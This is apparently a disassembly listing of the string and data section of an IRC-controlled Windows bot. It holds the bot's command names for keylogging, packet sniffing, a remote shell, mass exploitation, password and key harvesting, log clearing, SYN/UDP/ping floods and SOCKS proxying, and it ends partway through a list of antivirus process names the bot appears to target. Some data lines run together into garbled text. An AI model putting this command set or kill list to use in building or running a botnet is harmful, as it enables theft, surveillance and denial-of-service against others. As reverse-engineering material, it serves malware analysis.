aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40F6F1+24FFo
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40F6F1+24E8o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40F6F1+24D1o
		align 4
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40F6F1+24BAo
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40F6F1+24A3o
		align 4
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40F6F1+248Co
		align 10h
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40F6F1+2475o
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40F6F1+245Eo
		align 4
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40F6F1+2447o
		align 10h
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40F6F1+2430o
		align 4
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40F6F1+2419o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40F6F1+2402o
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40F6F1+23EBo
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40F6F1+23C2o
		align 4
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40F6F1+23ABo
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40F6F1+2394o
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40F6F1+237Do
dword_4371C4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_411A20o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 10h
dword_4371F0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_411A19o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_437220	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_4119D1o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_43724C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+22D9o
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40F6F1+224Co
		align 4
dword_437284	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_411932o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_4372B4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2237o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40F6F1+21CFo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40F6F1+21B4o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40F6F1+2181o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40F6F1+2169o
		align 4
dword_437304	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_41184Fo
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_437334	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2154o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_437368	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+20D0o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 10h
aSys_net	db 'sys.net',0          ; DATA XREF: sub_40F6F1+20ACo
aOffz		db 'offz',0             ; DATA XREF: sub_40F6F1+207Eo
					; sub_40F6F1+2095o
		align 10h
aCmd_kl_on	db 'cmd.kl.on',0        ; DATA XREF: sub_40F6F1+2067o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_40F6F1+2050o
		align 4
a_n_z_m_Sniff_3	db '.n.z.m. (sniffer.p.l.g) .»». No sniffer thread found.',0
					; DATA XREF: sub_40F6F1:loc_411734o
		align 4
a_n_z_m_Sniff_2	db '.n.z.m. (sniffer.p.l.g) .»».  sniffer stopped. (%d thread(s) stop'
					; DATA XREF: sub_40F6F1+2039o
		db 'ped.)',0
		align 4
a_n_z_m_Sniff_1	db '.n.z.m. (sniffer.p.l.g) .»». Failed to start sniffer thread, erro'
					; DATA XREF: sub_40F6F1+200Bo
		db 'r: <%d>.',0
		align 10h
a_n_z_m_Sniff_0	db '.n.z.m. (sniffer.p.l.g) .»». packet sniffer active.',0
					; DATA XREF: sub_40F6F1+1F9Co
a_n_z_m_Sniffer	db '.n.z.m. (sniffer.p.l.g) .»». Already running.',0
					; DATA XREF: sub_40F6F1+1F3Bo
		align 4
aSniffer	db 'sniffer',0          ; DATA XREF: sub_40F6F1+1F06o
a_n_z_m_Psnif_3	db '.n.z.m. (psniff.p.l.g) .»».  No Carnivore thread found.',0
					; DATA XREF: sub_40F6F1:loc_4115BFo
a_n_z_m_Psnif_2	db '.n.z.m. (psniff.p.l.g) .»».  Carnivore stopped. (%d thread(s) sto'
					; DATA XREF: sub_40F6F1+1EC4o
		db 'pped.)',0
aOff		db 'off',0              ; DATA XREF: sub_40F6F1+1EA5o
					; sub_40F6F1+2016o
a_n_z_m_Psnif_1	db '.n.z.m. (psniff.p.l.g) .»».  Failed to start sniffer thread, erro'
					; DATA XREF: sub_40F6F1+1E9Ao
		db 'r: <%d>.',0
		align 4
a_n_z_m_Psnif_0	db '.n.z.m. (psniff.p.l.g) .»».  Carnivore packet sniffer active.',0
					; DATA XREF: sub_40F6F1+1E2Fo
		align 4
a_n_z_m_Psniff_	db '.n.z.m. (psniff.p.l.g) .»».  Already running.',0
					; DATA XREF: sub_40F6F1+1DCBo
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40F6F1+1DABo
					; sub_40F6F1+1F1Bo
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_40F6F1+1D96o
		align 4
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40F6F1+1D7Fo
		align 10h
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40F6F1+1D68o
		align 10h
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40F6F1+1D51o
		align 4
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40F6F1+1D3Ao
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40F6F1+1D0Co
					; sub_40F6F1+1D23o
		align 4
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40F6F1+1CF5o
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40F6F1+1CDEo
		align 10h
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40F6F1+1CC7o
		align 4
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40F6F1+1CB0o
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40F6F1+1C99o
		align 10h
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40F6F1+1C82o
aCom_del	db 'com.del',0          ; DATA XREF: sub_40F6F1+1C6Bo
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40F6F1+1C54o
		align 4
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40F6F1+1C3Do
		align 4
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40F6F1+1C26o
		align 4
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40F6F1+1C0Fo
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40F6F1+1BF8o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40F6F1+1BE1o
		align 4
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40F6F1+1BCAo
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40F6F1+1BB3o
		align 4
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40F6F1+1B9Co
		align 4
aCom_o		db 'com.o',0            ; DATA XREF: sub_40F6F1+1B85o
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40F6F1+1B6Eo
		align 10h
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40F6F1+1B57o
		align 4
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40F6F1+1B40o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40F6F1+1B29o
		align 10h
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40F6F1+1B12o
		align 10h
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40F6F1+1AFBo
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40F6F1+1AE4o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40F6F1+1ACDo
		align 10h
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40F6F1+1AB6o
		align 10h
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40F6F1+1A9Fo
		align 4
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40F6F1+1A88o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40F6F1+1A71o
		align 4
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40F6F1+1A5Ao
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40F6F1+1A43o
		align 4
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40F6F1+1A2Co
		align 4
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40F6F1+1A15o
		align 10h
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40F6F1+19FEo
		align 4
aRoot_mass	db 'root.mass',0        ; DATA XREF: sub_40F6F1+19D8o
		align 4
aRoot_massexplo	db 'root.massexploit',0 ; DATA XREF: sub_40F6F1+19C1o
		align 4
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40F6F1+19AAo
		align 4
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40F6F1+1993o
		align 4
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40F6F1+197Co
		align 4
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40F6F1+1965o
		align 4
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40F6F1+194Eo
		align 4
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40F6F1+1937o
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40F6F1+1920o
		align 10h
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40F6F1+1909o
		align 10h
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40F6F1+18F2o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40F6F1+18DBo
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40F6F1+18C4o
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40F6F1+18ADo
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40F6F1+1896o
		align 10h
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40F6F1+187Fo
dword_4378DC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+186Co
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40F6F1+1839o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40F6F1:loc_410F1Do
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40F6F1+1804o
		align 4
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40F6F1+17E7o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40F6F1+17DAo
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40F6F1+17D5o
		align 4
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40F6F1+17BCo
		align 4
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40F6F1+17A5o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40F6F1+178Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40F6F1+1777o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40F6F1+1760o
		align 4
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40F6F1+1749o
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40F6F1+1732o
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40F6F1+171Bo
		align 4
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40F6F1+1704o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40F6F1+16EDo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40F6F1+16D6o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40F6F1+16BFo
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40F6F1+16A8o
		align 10h
aIrc_disco33	db 'irc.disco33',0      ; DATA XREF: sub_40F6F1+1691o
aIrc_discordanc	db 'irc.discordanc33',0 ; DATA XREF: sub_40F6F1+167Ao
		align 10h
aCom_si		db 'com.si',0           ; DATA XREF: sub_40F6F1+1663o
		align 4
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40F6F1+164Co
unk_437A14	db    2			; DATA XREF: sub_40F6F1+1636o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_26	db ' Failed to start flood thread, error: <%d>.',0
		align 10h
unk_437A60	db    2			; DATA XREF: sub_40F6F1+15BEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40F6F1+1529o
		align 10h
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40F6F1+1512o
		align 4
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40F6F1+14FBo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40F6F1+14E4o
		align 10h
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40F6F1+14CDo
		align 10h
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40F6F1+14B6o
		align 4
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40F6F1+149Fo
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40F6F1+1488o
		align 4
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40F6F1+1471o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40F6F1+145Ao
		align 10h
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40F6F1+1443o
		align 10h
dword_437B20	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+140Fo
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_437B54	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+1408o
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40F6F1+13F1o
		align 4
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40F6F1+13DAo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40F6F1+13C3o
		align 4
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40F6F1+13ACo
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40F6F1+1395o
		align 10h
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40F6F1+137Eo
		align 4
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40F6F1+1367o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40F6F1+1350o
		align 4
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40F6F1+1339o
		align 4
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40F6F1+1322o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40F6F1+130Bo
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40F6F1+12F4o
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40F6F1+12DDo
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40F6F1+12D0o
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40F6F1+12CBo
		align 10h
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40F6F1+12B2o
		align 4
dword_437C2C	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0	db 'Secure',0           ; DATA XREF: sub_40F6F1+12A0o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40F6F1+1287o
		align 4
dword_437C54	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: sub_40F6F1+1275o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40F6F1+125Co
		align 4
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40F6F1+1245o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40F6F1+122Eo
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40F6F1+1217o
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40F6F1+1200o
		align 4
dword_437CB4	dd 66027402h, 641F7074h, 2E2E1FhaDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40F6F1+11D5o
dword_437CD0	dd 69027002h, 1F671F6Eh, 2E2Ehdword_437CDC	dd 676E6950h, 6F6C6620h, 646Fhdword_437CE8	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_437CF8	dd 64027502h, 2E1F701Fh, 2Ehdword_437D04	dd 20504455h, 6F6F6C66h, 64hdword_437D10	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_437D20	dd 79027302h, 2E1F6E1Fh, 2Ehdword_437D2C	dd 206E7953h, 6F6F6C66h, 64hdword_437D38	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_437D48	dd 64026402h, 1F731F6Fh, 2E2Ehdword_437D54	dd 536F4444h, 6F6C6620h, 646Fhdword_437D60	dd 736F6464h, 66666F2Eh, 0dword_437D6C	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_437D7C	dd 20504354h, 69646572h, 74636572h, 0aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40F6F1+10FEo
		align 10h
dword_437DA0	dd 6F026C02h, 2E1F671Fh, 2Ehdword_437DAC	dd 20676F4Ch, 7473696Ch, 0dword_437DB8	dd 2E676F6Ch, 66666Fhdword_437DC0	dd 74026802h, 641F7074h, 2E2E1Fhdword_437DCC	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666hdword_437DDC	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer		db 'Server',0           ; DATA XREF: sub_40F6F1+1087o
					; sub_40F6F1+10C7o ...
		align 4
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40F6F1+106Eo
		align 4
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40F6F1+1057o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40F6F1+1040o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40F6F1+1029o
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40F6F1+1012o
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40F6F1+FFBo
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40F6F1+FE4o
aVer		db 'ver',0              ; DATA XREF: sub_40F6F1+FCDo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40F6F1+FB6o
aLo		db 'lo',0               ; DATA XREF: sub_40F6F1+F9Fo
		align 4
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40F6F1+F88o
		align 10h
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40F6F1+F71o
		align 4
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40F6F1+F5Ao
aRn		db 'rn',0               ; DATA XREF: sub_40F6F1+F43o
		align 4
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40F6F1+F29o
a63		db '63',0               ; DATA XREF: sub_40F6F1+DF4o
		align 4
asc_437E94:				; DATA XREF: sub_40F6F1+DCCo
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40F6F1+D8Co
					; sub_40F6F1+DA4o ...
		align 10h
aServer_1	db '$server',0          ; DATA XREF: sub_40F6F1+D7Fo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40F6F1+D6Co
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40F6F1+D4Do
		align 4
aUser_3		db '$user',0            ; DATA XREF: sub_40F6F1+D3Ao
		align 4
aMe_0		db '$me',0              ; DATA XREF: sub_40F6F1+D26o
aD		db '$%d',0              ; DATA XREF: sub_40F6F1+CB8o
aD_0		db '$%d-',0             ; DATA XREF: sub_40F6F1+BFDo
		align 4
aIrc_act	db 'irc.act',0          ; DATA XREF: sub_40F6F1+B25o
aIrc_activate	db 'irc.activate',0     ; DATA XREF: sub_40F6F1+B0Do
		align 4
dword_437EEC	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+AEAo
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_437F2C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+AD9o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_437F6C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+AC8o
		dd 2BBBB02h
aFailedToSta_27	db '  Failed to start chat thread, error: <%d>.',0
dword_437FB0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_40F6F1+9C2o
		align 4
dword_437FE8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+9A5o
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_438038	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+97Bo
					; sub_40F6F1+4D3Bo
		dd 2BBBB02h
aFailedToSta_28	db '  Failed to start transfer thread, error: <%d>.',0
dword_438080	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40F6F1+96Ao
		dd 0A0Dh
dword_438098	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40F6F1+8F0o
		align 4
dword_4380BC	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40F6F1+8D6o
		dd 0D017325h, 0Ah
dword_4380D8	dd 52455601h, 4E4F4953h, 1dword_4380E4	dd 23h		dword_4380E8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+78Bo
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40F6F1+6E8o
		align 4
dword_43812C	dd 43434401h, 0	dword_438134	dd 323333h						; sub_40F6F1+B47o ...
dword_438138	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_438168	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40F6F1+574o
aPart		db 'PART',0             ; DATA XREF: sub_40F6F1+526o
					; sub_40F6F1+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40F6F1+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40F6F1+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+371o
					; sub_40F6F1+613o
dword_4381C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+358o
					; sub_40F6F1+615Eo ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40F6F1+2E7o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40F6F1+290o
					; sub_40F6F1+5135o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40F6F1+265o
a@:					; DATA XREF: sub_40F6F1+23Ao
		unicode	0, <@>,0
a302_0		db '302',0              ; DATA XREF: sub_40F6F1+22Ao
a005		db '005',0              ; DATA XREF: sub_40F6F1+215o
a001		db '001',0              ; DATA XREF: sub_40F6F1+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+1E4o
					; sub_40F6F1+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40F6F1+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40F6F1+1A9o
		align 10h
asc_438240:				; DATA XREF: sub_40F6F1+19Ao
					; sub_40F6F1+628Bo
		unicode	0, <!>,0
asc_438244	db ' :',0               ; DATA XREF: sub_40F6F1+86o
					; sub_40F6F1:loc_410290o
		align 4
		dd 7530h
off_43824C	dd offset aAckwin32_exe	; DATA XREF: sub_415B93+CBo
					; "ACKWIN32.EXE"
		dd offset aAdaware_exe	; "ADAWARE.EXE"
		dd offset aAdvxdwin_exe	; "ADVXDWIN.EXE"
		dd offset aAgentsvr_exe	; "AGENTSVR.EXE"
		dd offset aAgentw_exe	; "AGENTW.EXE"
		dd offset aAlertsvc_exe	; "ALERTSVC.EXE"
		dd offset aAlevir_exe	; "ALEVIR.EXE"
		dd offset aAlogserv_exe	; "ALOGSERV.EXE"
		dd offset aAmon9x_exe	; "AMON9X.EXE"
		dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
		dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
		dd offset aAnts_exe	; "ANTS.EXE"
		dd offset aApimonitor_exe ; "APIMONITOR.EXE"
		dd offset aAplica32_exe	; "APLICA32.EXE"
		dd offset aApvxdwin_exe	; "APVXDWIN.EXE"
		dd offset aArr_exe	; "ARR.EXE"
		dd offset aAtcon_exe	; "ATCON.EXE"
		dd offset aAtguard_exe	; "ATGUARD.EXE"
		dd offset aAtro55en_exe	; "ATRO55EN.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtwatch_exe	; "ATWATCH.EXE"
		dd offset aAu_exe	; "AU.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAvconsol_exe	; "AVCONSOL.EXE"
		dd offset aAve32_exe	; "AVE32.EXE"
		dd offset aAvgcc32_exe	; "AVGCC32.EXE"
		dd offset aAvgctrl_exe	; "AVGCTRL.EXE"
		dd offset aAvgnt_exe	; "AVGNT.EXE"
		dd offset aAvgserv_exe	; "AVGSERV.EXE"
		dd offset aAvgserv9_exe	; "AVGSERV9.EXE"
		dd offset aAvguard_exe	; "AVGUARD.EXE"
		dd offset aAvgw_exe	; "AVGW.EXE"
